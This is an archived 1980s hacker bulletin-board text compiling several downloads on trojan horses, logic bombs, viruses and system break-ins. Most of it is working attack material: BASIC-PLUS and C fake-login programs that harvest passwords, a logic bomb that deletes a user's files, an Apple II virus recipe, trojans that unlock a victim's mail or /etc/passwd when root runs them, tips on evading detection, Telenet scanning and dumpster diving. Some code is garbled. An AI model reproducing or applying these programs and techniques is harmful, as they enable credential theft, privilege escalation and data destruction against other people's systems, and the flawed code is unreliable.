home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / virus / Virus, Trojan Horse, and Decoy Programs.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  36.6 KB  |  836 lines

  1. Filename = BBSFILES.DOC
  2.  
  3. THE FOLLOWING FILES WERE DOWNLOADED BY ME IN ONE EVENING, USING AN IBM-PC AND
  4. MODEM.  THEY WERE DOWNLOADED TO SHOW THE NATURE OF THE INFORMATION READILY
  5. AVAILABLE TO THE THOUSANDS WHO ACCESS HACKER BOARDS - PROVIDED FOR
  6. EDUCATIONAL PURPOSES ONLY, AND NOT TO RECOMMEND OR IMPLY ANY ILLEGAL USE
  7. WHATSOEVER.  THESE FILES JUST RELATE TO COMPUTER PHREAKING.  THERE ARE MANY
  8. MORE ON PHONE BOXING, WEAPONRY AND EXPLOSIVES, LOCKPICKING - YOU NAME IT!
  9. (we are very interested in increasing this file for future updates of
  10. COMPUTER PHREAKING and, separately, adding similar files for our PHONE COLOR
  11. BOXES, and other technical and survival topics we have interest in (see our
  12. catalog).  If you have some good public domain info. for us, please send it
  13. to us in an ASCII file(s), on 5.25" or 3.5" disk (use First Class Mail only),
  14. to:  CONSUMERTRONICS, 2011 Crescent Dr., P.O.  Drawer 537, Alamogordo, NM
  15. 88310.  If you require compensation for your help, let us know in advance
  16. what you have and w°a| yot w/uⁿd likσ for i⌠)>
  17.  
  18.  
  19. D/L1------------------------------
  20.  
  21. Virus, Trojan Horse, and Decoy Programs:
  22.  
  23. DEC MAINFRAMES:
  24. ===============
  25.     The following were devolped and tested on DEC Basic Plus, running under
  26. the RSTS/E Operating system. All have been tested, and were sucessfully used
  27. in the field.  However, sucessful use depends on the savvy of the sysop,
  28. legitimate users, and illegitimate ones.  They work best on uninformed
  29. (stupid) users and sysops, and when the hacker using them makes them
  30. attractive, as when using trojan horses, or realistic, when using decoys.
  31.  
  32. TROJAN HORSE:
  33. =============
  34.      What follows is a rough listing of the business end of a typical trojan
  35. horse program.  While this one just lowers the security of the programs on
  36. the affected account, it could be easily modified to create another account,
  37. or execute any other command. The key is the 'sy$=sys(chr$(14)+"....")'
  38. statement.  In BASIC PLUS Programming language, this command lets you execute
  39. a DCL command from within a BASIC Program.  Therefore, any DCL command, COPY,
  40. DELETE, PIP, or even BYE could be inserted in the "...." space. I prefer
  41. using PIP *.* <40> /RE, as what that will do is lower the protection codes
  42. low enough for me to see the files on the account.  This works with both
  43. sysops and non-privlidged users, so I can benefit whenever someone runs it,
  44. as opposed to something the sysop has to run in order for it to do whatever.
  45. As a plus, if a sysop runs it, certain hidden files on the [1,*] account he/
  46. she's using will become visible, which will, provided you know what you're
  47. doing, enable you to get sysop status. Of course, you could also use PIP
  48. [*,*] *.* <40> /RE, which, if a sysop runs it, will lower the protection of
  49. every file on the system, one would have to add an error checking routine in
  50. case a non-sysop ran it.
  51.  
  52. 10 extend
  53. 20 sy$=sys(chr$(14)+"PIP *.* <40> /RE") 30 rem the following would be the
  54. interesting little game you've wrote which 40 rem makes the program look
  55. atractive, and compels the hapless user to 50 rem run it.  60 end
  56.  
  57. LOGIC BOMB:
  58. ===========
  59.      The following is an example of a simple logic bomb, which has proven to
  60. Work very well. What it does is create a file on the effected account which
  61. will delete all files on the account upon the next login, it also dumps the
  62. user off the system for good measure, you could remove the logoff procedure,
  63. and not affect program operating, but they then stand a chance of noticing
  64. the little file you've added.
  65.  
  66.     10 extend
  67.     20 open "login.com" as file #1
  68.     30 print #1,"pip *.* <60> /re"
  69.     40 print #1,"delete *.*"
  70.     50 close #1
  71.     60 sy$=sys(chr$(14)+"bye/f")
  72.     70 end
  73.  
  74.      Now, line 30 is optional in this program. I have included it in case the
  75. user has protected his files from accidental deletion.  There is one instance
  76. in which this program won't work properly. This is when the defualt language
  77. upon logon isn't DCL, on occasion, some systems have BASIC as the default. In
  78. this case, just add the following line.
  79.  
  80.     25 print #1,"sw dcl"
  81.  
  82. And you'll switch to DCL before continuing to the rest of the program.
  83.  
  84. THE DECOY:
  85. ==========
  86.      This decoy is to be used on local terminals, ones that are connected to
  87. the system via RS-232, such as in schools. It is also the riskiest of these
  88. programs to use. What it basicly does is wait until input, and then act as a
  89. login program, saving the users id# and password. Upon getting it, it informs
  90. the user of an "invalid entry" and then returns control to the system.  There
  91. are a number of things to keep in mind when using this program. The first is
  92. to change the program so it looks like your system.   The second is to
  93. remember that it runs under the account it's on, therefore you take a risk of
  94. someone hitting [Break] while it's running, and getting into your account.
  95. Finally, due to the BASIC language, you'll only get the project number of the
  96. account (what's before the comma). However, since you'll have the password,
  97. you'll get it in less than 255 tries.
  98.  
  99.     10 extend
  100.     20 open "kb:" as file #1%
  101.     30 input #1%, z$
  102.     40 print "RSTS v8.0-06 MICOM I Job <10> KB31:  ";date$(0);" ";time$(0)
  103.     50 print
  104.     60 print "Username:  ";
  105.     70 input #1%, u$
  106.     80 print "Password: ";
  107.     90 sy$=sys(chr$(3))
  108.     100 input #1%, p$
  109.     110 sy$=sys(chr$(2))
  110.     120 print:  print "Invalid Entry - Try Again"
  111.     130 print:  print
  112.     140 print "Username: ";
  113.     150 input #1%, r$
  114.     160 sy$=sys(chr$(3))
  115.     170 print "Password: ";
  116.     180 input #1%, s$
  117.     190 sy$=sys(chr$(2))
  118.     200 open "acct.txt" as file #2
  119.     210 print #2,u$
  120.     220 print #2,p$
  121.     230 print #2,r$
  122.     240 print #2,s$
  123.     250 close #2
  124.     260 print:  print "Access Denied"
  125.     270 sy$=sys(chr$(14)+"bye/f")
  126.     280 end
  127.  
  128.      The parts which have to be changed are line 40, and the number of tries
  129. it allows before logging you off. The system I used for devolpment allowed
  130. only two tries, and most I've seen only allow two, but, it isn't always that
  131. way.  Finally, remember to save ALL input, for reasons which should be
  132. obvious.
  133.  
  134. FREE MEMORY:
  135. ============
  136.      While this program isn't classified as a trojan horse, decoy, logic
  137. bomb, or virus. It's quite interesting, and I've decided to include it.  This
  138. program enables you to look at unallocated space on the system's disk.  It's
  139. very useful when the sysop is creating and deleting accounts, and in schools
  140. in order to yank deleted files, which happens when students are modifying
  141. programs.
  142.  
  143.     10 open "free.mem" as file #1%
  144.     20 put #1%, record nnnnn%
  145.     30 close #1%
  146.  
  147. GENERAL NOTES ON PC VIRUSES
  148. ===========================
  149.      Writing "funny programs" on PCs is a big pain-in-the-a__.  There are two
  150. major reasons why.  The first is that most users know their PCs(Personal
  151. Computers in general, not just IBM) like the back of their hand, and that any
  152. wierdness would be immediately noticed, unlike a big multiuser system, where
  153. there are amoungst other users, and basicly isolated in their own little
  154. section of RAM.  Secondly,  they have to be extremly small, as to be hidden
  155. effectively.  While one can write the perfict virus with 64k, try writting
  156. one in a few bytes of space.  Personally, I feel the best way to screw over a
  157. computer user is to put a magnet to his disks, but if you want to do it the
  158. hard way, it is possible.
  159.  
  160. APPLE II+, //e. //c:
  161. ====================
  162.      The Apple series of computers is one of the simplest machines to
  163. "infect", so to speak. Perhaps this is because it creator was a prima donna
  164. hacker, but who knows. DOS 3.3 has several unsed spots in it, which are
  165. adequete to hide a virus in. They are (in hex) $B78D-$B792 and $BCDF-$BCFF.
  166. You can also, on pre-1983 versions of DOS 3.3, use BA69-BA93. There are also
  167. some spots which aren't unused, but are used for such DOS commands such as
  168. VERIFY, LOCK, UNLOCK, CHAIN, and MAXFILES.  The classic virus program on the
  169. Apple a machine language program which counts how many times someone does a
  170. certain function, such as CATALOG, LOAD, or SAVE, and upon reaching a certain
  171. number, initializes the disk. It is based in DOS memory, which means that
  172. once the affected disk is booted, it stays in the machine until power down,
  173. and can affect any disk which is used with said machine. It will also be
  174. transfered to any disk which is initalized by the machine. The actual program
  175. is very simple, provided you know 6502 machine language. What you do is make
  176. a patch to the Command handler entry point for the Catalog command. The
  177. location for the command handler is from $9D1E to $9D55.  Look around in
  178. there until you find a string which says "6EA5" this is the entry point for
  179. the Catalog Handler, which is $A56E. Remember that.  Change it to the
  180. beginning of your "modification". I recommend $BCDF, since it is the bigest
  181. stretch of memory which is truly safe.  You then write a program which will
  182. do an LDX (Load X Register) from a memory location where you're counter is,
  183. say $B78D. You compare that memory to the number of times you want the
  184. command to go through before deletion, say 20 hex. (CPA $20) if the number of
  185. times is greater than the the number in the Compare statement ($20) then jump
  186. to the init subroutine (BPL $4F5A)(The INIT start location is $5A4F), if not,
  187. then Increment the X Register by 1 (INX $01), store it (STX $8DB7), you then
  188. continue with your program by Cataloging the disk (JMP $6EA5).  End of
  189. program.  I have found this to be one of the best virus programs, as these
  190. things go.
  191.  
  192.  
  193. D/L2---------------------------------------
  194.  
  195. COMMENTS ON "SMART" HACKING:
  196. ---------------------------
  197.     Never trust a change in a system.  The 414s, the (expletive deleted),
  198. were caught for this reason:  When one of them connected to the system, there
  199. was nothing good there.  The next time, there was a Trek game stuck right in
  200. their way!  They proceeded to play said game for two, say two and half hours,
  201. while TELENET was tracing them!  Nice job, don't you think?  If anything
  202. looks suspicious, drop the line immediately!!  As in Yesterday!!  The point
  203. we're trying to get across is:  If you use a little common sense, you won't
  204. get busted.  Let the little kids who aren't smart enough to recognize a trap
  205. get busted, it will take the heat off the real hackers.  Now, let's say you
  206. get on a computer system... it looks great, checks out, everything seems
  207. fine.  Ok, now is when it gets more dangerous.  You have to know the computer
  208. system (see future issues of this article for info on specific systems) to
  209. know what not to do.  Basically, keep away from any command which looks like
  210. it might delete something, copy a new file into the acoount, or whatever!
  211. Always leave the account in the same status you logged in with.  Change
  212. *nothing*...  If it isn't any account with priv's (privileged access) then
  213. don't try any commands that require them!  All, yes, all systems are going to
  214. be keeping log files of what users are doing, and that will show up.  It is
  215. just like dropping a trouble-card in an ESS system, after sending that nice
  216. operator a pretty tone.  Spend no excessive amounts of time on the account in
  217. one stretch.  Keep your calling to the very late night if possible, or during
  218. business hours (believe it or not!).  It so happens that more users are on
  219. during business hours, and it is very difficult to read a log file with 60
  220. users doing many commands every minute.  Try to avoid systems where everyone
  221. knows each other.  Don't try to bluff.  And above all:  Never act like you
  222. own the system, or are the best there is.  They always grab the people who's
  223. heads swell...
  224.  
  225. There is some very interesting front end equipment arownd nowadays.   But
  226. first let's define terms...  By front end, we mean any device that you must
  227. pass thru to gat at the real computer.  There are devices that are made to
  228. defeat hacker programs and just plain old multiplexers.  To defeat hacker
  229. programs, there are now devices that pick up the phone and just sit there...
  230. This means that your device gets no carrier, thus you think there isn't a
  231. computer on the other end.  The only way around it is to detect when it was
  232. picked up.  If it picks up after the same number ring, then you know it is a
  233. hacker-defeater.  These devices take a multi-digit code to let you into the
  234. system.  Some are, in fact, quite sophisticated to the point where it will
  235. also limit the user name's down, so only one name or set of names can be
  236. valid logins after they input the code...  Other devices input a number code,
  237. and then they dial back a pre-programmed number for that code.  These systems
  238. are best to leave alone, because they know someone is playing with their
  239. phone.  You may think "But I'll just reprogram the dial-back."  Think again,
  240. how stupid that is... Then they have your number, or a test loop if you were
  241. just a little smarter.  If it's your number, they have your (expletive
  242. deleted) (if male), if it's a loop, then you are screwed again, since those
  243. loops are "monitored."
  244.  
  245. As for multiplexers... what a plexer is supposed to do is this:  The system
  246. can accept multiple users.  We have to time share, so we'll let the front-end
  247. processor do it...  Well, this is what a multiplexer does.  Usually they will
  248. ask for something like "enter class" or "line:".  Usually, it is programmed
  249. for a double digit number, or a 4 or 5 letter word.  There are usually a few
  250. sets of numbers it accepts, but those numbers also set your 300/1200 baud
  251. data type.  These multiplexers are inconveneint at best, so not to worry.
  252.  
  253. A little about the history of hacking:  Hacking, by our definition, means a
  254. great knowledge of some special area.  Doctors and lawyers are hackers of a
  255. sort, by this definition.   But most often, it is being used in the computer
  256. context, and thus we have a dedinition of "anyone who has a great amount of
  257. computer or telecommunications knowledge."  You are not a hacker because you
  258. have a list of codes...  Hacking, by our defintion, has been around only
  259. about 15 years.  It started, where else but, MIT and colleges where they had
  260. Computer Science or Electrical Engineering departments.  Hackers have created
  261. some of the best computer languages, the most awesome operating systems, and
  262. even gone on to make millions.  Hacking used to have a good name, when we
  263. could honestly say "We know what we are doing."  Now it means (in the public
  264. eye):  The 414s, Ron Austin, the NASA hackers, the ARPANET hackers... all the
  265. people who have been caught.  thus we come past the moralistic crap, and to
  266. our purpose:  Educate the hacker community...........
  267.  
  268.  
  269. D/L3----------------------------
  270.  
  271. UNIX TROJAN HORSE - By Shooting Shark
  272. -------------------------------------
  273.     This program simulates the login for a UNIX machine.  However, the login
  274. and password are written to a file in your directory.  The user geat a "login
  275. incorrect" message and thinks they have mis-typed their password.  They are
  276. given a second chance, but the new 'login:' prompt is the real one - they
  277. then get access to their account and are none the wiser.
  278.  
  279. You must be running a fairly robust version of UNIX.  4.2 or 4.3bsd, or AT&T
  280. System V are fine.  I wrote this one on a Pyramid 90x32 bit system running
  281. the above flavors of UNIX.  It works fine for me and should work on your
  282. system fine with no modification.
  283.  
  284. To run the program, enter the source given below in a file called 'horse.c'
  285. and configure it as necessary (see below).  Then, from the shell promp, type:
  286.  
  287.     cc horse.c -lcurses -ltermcap  (to compile the program)
  288.  
  289. then type:
  290.  
  291.     mv a.out horse  (to rename the object code.)
  292.  
  293. Voila, you now have a program which can be tested by typing 'horse'.
  294. However, in order for the program to work properly, it must be called from a
  295. shellscript.  Create a file calle script and enter these two lines:
  296.  
  297.     horse   (invokes your program)
  298.     login
  299.  
  300. Now, type:
  301.  
  302.     source script   (run the shell script)
  303.  
  304. to execute the above file.  The horse program will be run.  It will simulate
  305. the login process.  After completing its task it will invoke the REAL login
  306. process.
  307.  
  308. If you wish, you can tack the above two lines to your ".logout" file (the
  309. shellscript which is executed when you log out) so the program will be
  310. automatically executed each time you log out normally.
  311.  
  312. ----Source Begins Here----
  313.  
  314.     #include <curses.h>
  315.     #include <signal.h>
  316.     int stop();
  317.     main()
  318.     [
  319.     char name[10], password[10];
  320.     int i;
  321.     FILE *fp, *fpopen();
  322.     signal(SIGINT,stop);
  323.           initscr();
  324.           printf("\n\nTiburon Systems
  325.     4.2/Sys V UNIX (tiburon)\n\n\n\nlogin:");
  326.  
  327. /*The above line is very important - it prints the header that your machine
  328. prints when it greets the world.  Change this line so it says what your
  329. machine would say.  Each \n is a carriage return*/
  330.  
  331.     scanf("%[^\n]",name)
  332.     getchar();
  333.     noecho();
  334.     printf("Password:");
  335.     scanf("%[^\n]',password),
  336.     printf("\n");
  337.     getchar();
  338.     echo();
  339.     sleep(5);
  340.  
  341. /*sleep(x) is the delay between prompting for a password and printing "Login
  342. incorrect."  Change it so it looks like your login routine's speed*/
  343.  
  344.     if ( ( fp = fopen("stuff","a") ) ! = -1 ) [
  345.     fprintf(fp,"login %s has password %s\n",name,password);
  346.     fclose(fp);  ]
  347.  
  348.     printf("Login incorrect\n");
  349.     endwin();  ]
  350.  
  351.     stop() [    /*the ^C trap.*/
  352.     exit(0);  ]
  353.  
  354. ----Source Ends Here----
  355.  
  356. OK.  After you have run the program successfully and people have fallen for
  357. it, a file called "stuff" will have a table of all login name/password
  358. combinations snagged.  (This file can be incriminating so delete it whenever
  359. necessary.)
  360.  
  361. This program traps ^C's entered by suspicious users.  However, it can't catch
  362. a ^Z (STOP signal) so it is vulnerable to them.  If somebody stops your
  363. program, they will be in your account and your little game will be up.  Also,
  364. take care that you are using a terminal that times out after a few minutes
  365. while waiting for somebody to come up to the terminal you're running it on.
  366.  
  367.  
  368. D/L4--------------------------
  369.  
  370. THIS IS YET ANOTHER SHOOTING SHARK CONTRIBUTION TO UNIX INSECURITY
  371.  
  372. Introduction
  373. ------------
  374.     "UNIX Security" is an oxymoron.  It's an easy system to brute-force hack
  375. (most UNIX systems don't hang up after x number of login tries, and there are
  376. a number of default logins, such as root, bin, sys and uucp).  Once you're in
  377. the system, you can easily bring it to its knees (see my previous Phrack
  378. article, "UNIX Nasty Tricks") or, if you know a little C, you can make the
  379. system work for you and totally eliminate the security barrier to creating
  380. your own logins, reading anybody's files, etc.  This file will outline such
  381. ways by present C code that you can implement yourself.
  382.  
  383. Requirements
  384. ------------
  385.     You'll need a working account on a UNIX system.  It should be a farily
  386. robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
  387. machine (a PDP/11, VAX, Pyramid, etc) for the best results.  If you go to
  388. school and have an account on the school system, that will do perfectly.
  389.  
  390. Notes
  391. -----
  392.     This file was inspired by an article in the April, '86 issue of BYTE
  393. entitled, "Making UNIX Secure."  In the article, the authors way "We provide
  394. this information in a way that, we hope, is interesting and useful yet stop
  395. short of being a 'cookbook for crackers.'  We have often intentionally
  396. omitted details."  I am following the general outline of the article, giving
  397. explicit examples of the methods they touched on.
  398.  
  399. Project One:  Fishing for Passwords
  400. -----------------------------------
  401.     You can implement this with only a minimal knowledge of UNIX and C.
  402. However, you need access to a terminal that many people use - the computer
  403. lab at your school, for example.  When you log onto a typical UNIX system,
  404. you see something like this:
  405.  
  406.     Tiburon Systems 4.2bsd / System V
  407.     (shark)
  408.  
  409.     login: shark
  410.     Password (the password is not printed)
  411.  
  412. The program I'm giving you here simulates a logon sequence.  You run the
  413. program from a terminal and then leave.  Some unknowing fool will walk up and
  414. enter their login and password.  It is written to a file of yours, then
  415. "login incorrect" is printed, then the fool is asked to log in again.  The
  416. second time it's the real login program.  This time the person succeeds and
  417. they are none the wiser.
  418.  
  419. On the system, put the following code into a file called 'horse.c'.  You will
  420. need to modify the first 8 lines to fit your system's appearance.
  421.  
  422. ----Code Begins Here----
  423.  
  424.     #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
  425.     #define LOGIN "login: "
  426.  
  427. /*The above is the login prompt.  You shouldn't have to change it unless
  428. you're running some strange version of UNIX*/
  429.  
  430.     #define PASSWORD "password:"
  431.  
  432. /*The above is the password prompt.  You shouldn't have to change it,
  433. either*/
  434.  
  435.     #define  WAIT 2
  436.  
  437. /*The numerical value assigned to WAIT is the delay you get after "password:"
  438. Change it (0 = almost no delay. 5 = long delay) so it looks like your
  439. system's delay.  Realism is the key here - we don't want our target to become
  440. suspicious.*/
  441.  
  442.     #define INCORRECT "Login incorrect.\n"
  443.  
  444. /*Change the above so it is what your system says when an incorrect login is
  445. given.  You shouldn't have to change it.*/
  446.  
  447.     #define FILENAME "stuff"
  448.  
  449. /*FILENAME is the name of the file that the hacked passwords will be put into
  450. automatically.  'stuff' is a perfectly good name.  Don't change the rest of
  451. the program unless there is a need to and you know C*/
  452.  
  453.     #include <curses.h>
  454.     #include <signal.h>
  455.     int stop();
  456.     main() [
  457.     char name[10], password[10];
  458.     int i;
  459.     FILE *fp, *fpopen();
  460.     signal(SIGINT,stop);
  461.     initscr();
  462.     printf(SYSTEM);
  463.     printf(LOGIN);
  464.     scanf("%[^\n]",name)
  465.     getchar();
  466.     echo();
  467.     sleep(WAIT);
  468.     printf("\n");
  469.     getchar();
  470.     echo();
  471.     if ( ( fp = fopen(FILENAME,"a") ) ! = NULL) [
  472.     #fprintf(fp,"login %s has password %s\n",name,password);
  473.     #fclose(fp);
  474.     #] 
  475.  
  476.     printf(INCORRECT);
  477.     endwin(); ]
  478.  
  479.     stop() [
  480.     endwin();
  481.     exit(0);  ]
  482.  
  483. ----Source Ends Here---- 
  484.  
  485. OK, as I said, enter the above and configure it so it looks exactly like your
  486. system's login sequence.  To compile this program called 'horse.c' type the
  487. following two lines: (don't type the %s, they are just a sample prompt)
  488.  
  489.     % cc horse.c -lcurses -ltermcap
  490.     % mv a.out horse
  491.  
  492. You now have the working object code in a file called 'horse'.  Run it, and
  493. if it doesn't look like your systems logon sequence, re-edit horse.c and re-
  494. compile it.  When you're ready to put the program into use, create a new file
  495. and call it 'trap' or something.  'trap' should have these two commands:
  496.  
  497.     horse   (runs your program)
  498.     login   (runs the real login program)
  499.  
  500. to execute 'trap' type:
  501.  
  502.     % source trap   (again, % is just the prompt)
  503.  
  504. and walk away from your terminal.
  505.  
  506. After you've run it successfully a few times, check your file called 'stuff'
  507. (or whatever you called it).  It will look like this:
  508.  
  509.     user john has password secret
  510.     user mary has password smegma
  511.                  .
  512.                  .
  513.                  .
  514. Copy down these passwords, then delete this file (it can be VERY
  515. incriminating if the superuser sees it).
  516.  
  517. Note - for best results your terminal should be set to time-out after a few
  518. minutes of non-use - that way, your horse program doesn't run idle for 14
  519. hours if nobody uses the terminal you ran it on.
  520.  
  521. The next projects can be run on a remote system, such as the VAX in Michigan
  522. you've hacked into, or Dartmouth's UNIX system, or whatever.  However, they
  523. require a little knowledge of C language.  They're not something for UNIX
  524. novices.
  525.  
  526. Project Two: Reading Anybocy's Files
  527. ------------------------------------
  528.     When somebody runs a program, they're the owner of the process created
  529. and that program can do anything they would do, such as delete a file in the
  530. directory or making a file of theirs available for reading by anybody.
  531.  
  532. When people save old mail they get on a UNIX system, it's put into a file
  533. called "mbox" in their home directory.  This file can be fun to read but is
  534. usually impossible for anybody but the file's owner to read.  Here is a short
  535. program that will unlock (ie: chmod 777, or let anybody on the system read,
  536. write or execute) the mbox file of the person who runs the program:
  537.  
  538. ----Code Begins Here----
  539.  
  540.     #include <pwd.h>
  541.  
  542.     struct passwd *getpwnam(name);
  543.     struct passwd *p;
  544.     char buf [255];
  545.  
  546.     main()  [
  547.     p = getpwnam(getlogin());
  548.     sprintf(buf,"%s/%s",p->pw_dir,"mbox");
  549.     if ( access(buf,0) >-1 ) [
  550.         sprintf(buf,"chmod 777%s/%s",p->pw_dir,"mbox");
  551.         system(buf); ]
  552.     ]
  553.  
  554. So the question is:  How do I get my target to run this program that's in my
  555. directory?
  556.  
  557. If the system you're on has a public-messages type of thing (on 4.xbsd, type
  558. 'msgs') you can advertise your program there.  Put the above code in another
  559. program (ie: IMPLANT A TROJAN HORSE) - find a utility or game program in some
  560. magazine like UNIX WORLD and modify it and do the above before it does it's
  561. real thing.  so, if you have a program called tic-tac-toe and you've modified
  562. it to unlock the mbox file of the user before it plays tic-tac-toe with him,
  563. advertise "I have a new tic-tac-toe program running that you should all try.
  564. It's in my directory." or whatever.  If you don't have means of telling
  565. everybody on the system via a public message, then just send mail to the
  566. specific people you want to trap.
  567.  
  568. If you can't find a real program to modify, just take the above program and
  569. add this line between the two ']' at the end of the program:
  570.  
  571.     printf("Error opening tic-tac-toe data file.")
  572.  
  573. when the program runs, it will print the above error message.  The user will
  574. think "Heh, that dude doesn't know how to write a simple tic-tac-toe
  575. program!" but the joke's on him - you can now read his mail.
  576.  
  577. If there's a specific file in a user's directory that you'd like to read (say
  578. it's called "secret") just throw together this general program:
  579.  
  580.     main()  [
  581.     if ( access("secret",0) > -1 )
  582.     system("chmod 777 secret"); ]
  583.  
  584. then 'talk' or 'write' to him and act like Joe Loser:  "I wrote this program
  585. called super_star_wars, will you try it out?"
  586.  
  587. Use your imagination.  Think of a command you'd like somebody to execute.
  588. Then put it inside a system() call in a C program trick them into running
  589. your program!
  590.  
  591. Here's a very neat way of using the above technique:
  592.  
  593. Project Three:  Become the Superuser
  594. ------------------------------------
  595.     Write a program that you can get people to run.  Put this line in it
  596. somewhere:
  597.  
  598.     if ( !strcmp(getlogin(),"root") )
  599.     system("whatever you want");
  600.  
  601. This checks to see if the root login is running your program.  If he is, you
  602. can have him execute any shell command you'd like.  Here are some
  603. suggestions:
  604.  
  605.     "chmod 777 /etc/passwd"
  606.  
  607. /etc/passwd is the system's password file.  The root owns this file.
  608. Normally, everyone can read it (the passwords are encrypted) but only the
  609. root can write to it.  Take a look at it and see how it's formatted if you
  610. don't know already.  This command makes it possible for you to write to the
  611. file (ie: create unlimited accounts for yourself and your friends).
  612.  
  613.     "chmod 666 etc/group"
  614.  
  615. By adding yourself to some high-access groups, you can open many doors.
  616.  
  617.     "chmod 666 /usr/lib/uucp/L.sys"
  618.  
  619. Look for this file on your system if it is on the uucp net.  It contains
  620. dialups and passwords to other systems on the net, and normally only the uucp
  621. administrator can read it.  Find out who owns this file and get him to
  622. unknowingly execute a program to unlock it for you.
  623.  
  624. If you can get the root to execute this command, the system's passwd file
  625. will be removed and the system will go down and will not come up for some
  626. time to come.  This is very destructive.
  627.  
  628. If you are going to go about adding a trojan horse program to the system,
  629. there are some rules you should follow.  If the hidden purpose is something
  630. major (such as unlocking the user's mbox or deleting all of his files or
  631. something) this program shouldn't be a program that people will be running a
  632. lot (such as a popular computer game) - once people discover that their files
  633. are public access the source of the problem will be discovered quite easily.
  634. Save this purpose for a 'test' program (such as a game you're in the process
  635. of writing) that you ask individual people to run via mail or 'chatting' with
  636. them.  As I said, this 'test' program can bomb or print a phony error message
  637. after completing its task, and you will just tell the person "well, I guess
  638. it needs more work", wait until they log off, and then read whatever file of
  639. theirs that you've unlocked.  If your trojan horse program's sole purpose is
  640. to catch a specific user running it - such as the root or other high-powered
  641. user - you can put the code to do so in a program that will be run a lot by
  642. various users of the system.  Your modification will remain dormant until he
  643. runs it.  If you can't find the source to 'star trek' or whatever in C, just
  644. learn C and convert something from pascal.  It can't hurt to learn C as it's
  645. a great language.  We've just seen what it can do on a UNIX system.  Once
  646. you've caught the root (ie: you can now modify the /etc/passwd file) remove
  647. the spurious code from your trojan horse program and you'll never be caught.
  648.  
  649.  
  650. D/L5----------------------------
  651.  
  652.     TELENET HACKING
  653.  
  654. PREFACE:
  655. --------
  656.     TELENET is a huge network which lets you enter another computer via
  657. TELENET's and costs a little extra to those who log-on to their own
  658. connection and account (but of course we shall ignore that).
  659.  
  660. HACKING:
  661. --------
  662.     First dial your local TELENET dial up - here is just a few
  663.     BUFFALO        (716) 847-0600
  664.     CHICAGO        (312) 938-0500
  665.     DETROIT        (313) 964-5538
  666.                          964-2089
  667.     MANHATTAN      (212) 736-0099
  668.                          947-9600
  669.                          785-2540
  670.     ROCHESTER      (716) 454-3430
  671.                          454-1020
  672.     WASHINGTON DC  (202) 347-1400
  673.                    (703) 435-3333 
  674.     WHITE PLAINS   (914) 328-9199
  675.  
  676. If your area is not listed contact your local phracker (phreaker/hacker) and
  677. ask him if he has a local dial-up for your area.
  678.  
  679. Once you log on <RETURN> and it will ask you for a terminal identifier.  You
  680. can type "D1" if you are using a PC or just hit <RETURN>.
  681.  
  682. There are thousands of computer systems connected to TELENET, all you need to
  683. do is type their connection number.
  684.  
  685. The format is:  C NPAXX or C NPAXXX  where:
  686.     C is the abbreviation for "Connection"
  687.     NPA is the area code of the computer system you wish to find
  688.     XX or XXX is an 2, and sometimes 3 digits
  689.  
  690. So, to search for a computer in 202, you would hack from 20201 up to 20299
  691. and 202001 to 202999.
  692.  
  693. RESPONSE:
  694. ---------
  695.     Once you dial the connection number of what you hope is a computer
  696. system, you will most likely get one of the following responses (we will use
  697. 21211 as an example):
  698.  
  699.     "?" - You typed in something wrong (see format)
  700.     "212 11 ILLEGAL ADDRESS" - There is no computer system at 212 11 (try
  701. another)
  702.     "212 11 CONNECTED" - You are now connected to the system at 212 11 and
  703. should proceed)
  704.     "212 11 NOT RESPONDING" - There is a computer system at 212 11 but it is
  705. not working now (try later)
  706.     "212 11 NOT REACHABLE FROM..." - There is a computer system at 212 11 but
  707. it cannot be reached by this TELENET dial-up (try a different dialup)
  708.     "212 11 DOES NOT ACCEPT COLLECT CALLS" and
  709.     "212 11 DOES NOT ACCEPT COLLECT CALLS. PLEASE ESTABLISH A PAID CALLER
  710. ACCOUNT" - In most cases the computer system will aceept collect calls from
  711. whomever calls them, but a few require you to establish a specific log on
  712. with TELENET first to place a paid call to a given connection.
  713.  
  714. COMMANDS
  715. --------
  716.     Here is a short summary of TELENET commands.
  717.  
  718.     COMMAND      EFFECT
  719.     -------      ------
  720.     FULL         Sets net to full duplex (no echo)
  721.     HALF         Sets net to half duplex (echo)
  722.     D            Disconnect from node if still attached
  723.     CONTINUE     Continue on system if still attached
  724.     ID           Unknown.  Maybe an ANI for nodes with security checking
  725.  
  726. Commands may be typed in upper or lower case.
  727.  
  728. You must first get the TELENET's attention to use the commands if you are
  729. still attached to a node.  The sequence of commands are:
  730.  
  731.     <RETURN>    (will be followed by a "@")
  732.     <RETURN>    (if correct, the word "TELENET" should appear as well as
  733.                  another "@")
  734.  
  735. COMMENTS:
  736. ---------
  737.     TELENET is a rather safe network to hack off of because the locations
  738. usually cannot trace you and if they do, can probably not trace you thru
  739. TELENET.  Also, if a computer system is far away and you wish to log onto it,
  740. there is no extra cost other than the cost to call TELENET.
  741.  
  742.  
  743. D/L6--------------------------
  744.  
  745.     TRASHING TECHNIQUES VOLUME i
  746.  
  747. PREFACE:
  748. --------
  749.     This volume will deal with the basics of trashing.
  750.  
  751.     You might be saying, "What is trashing?  And why should I trash?".
  752. Trashing is, to put it bluntly, the "inspection" of companies, schools,
  753. peoples, etc. trash dumsters for the purpose of finding important material
  754. that a person might find useful.  (SOME MAY REASON THAT IF TRASHING IS GOOD
  755. ENOUGH FOR THE POLICE TO DO, ACCORDING TO THE U.S. SUPREME COURT, THEN IT
  756. MUST BE GOOD ENOUGH FOR THE PEOPLE TO DO)
  757.  
  758. THE ART OF TRASHING
  759. -------------------
  760.     Before attempting to trash a certain place (for example, I will use a
  761. local AT&T building), you might find it useful to follow the "rules" of the
  762. trasher.
  763.  
  764. Before you begin to dive into the nearest dumpster, first find out about the
  765. security (if any) by watching the building for a few days and take notes on
  766. what goes on, in, and around the building.  Next, find out the garbage
  767. truck(s) route and schedule so you can trash at the most beneficial times.
  768. To truly trash, you must be willing to climb into the trash dumpster(s) and
  769. be prepared to dig for the "gold."  You must climb all the way in and dig
  770. around because most of the important trash is usually at the bottom (huge
  771. print-outs, heavy memo books, etc).  You cannot just run over and reach for
  772. the nearest bag, you might find something useful but most probably you will
  773. find someones used coffee cup.
  774.  
  775. After removing the trash you think you might find interesting, do not rummage
  776. thru the selected garbage there, wait till you are in a secluded spot, a
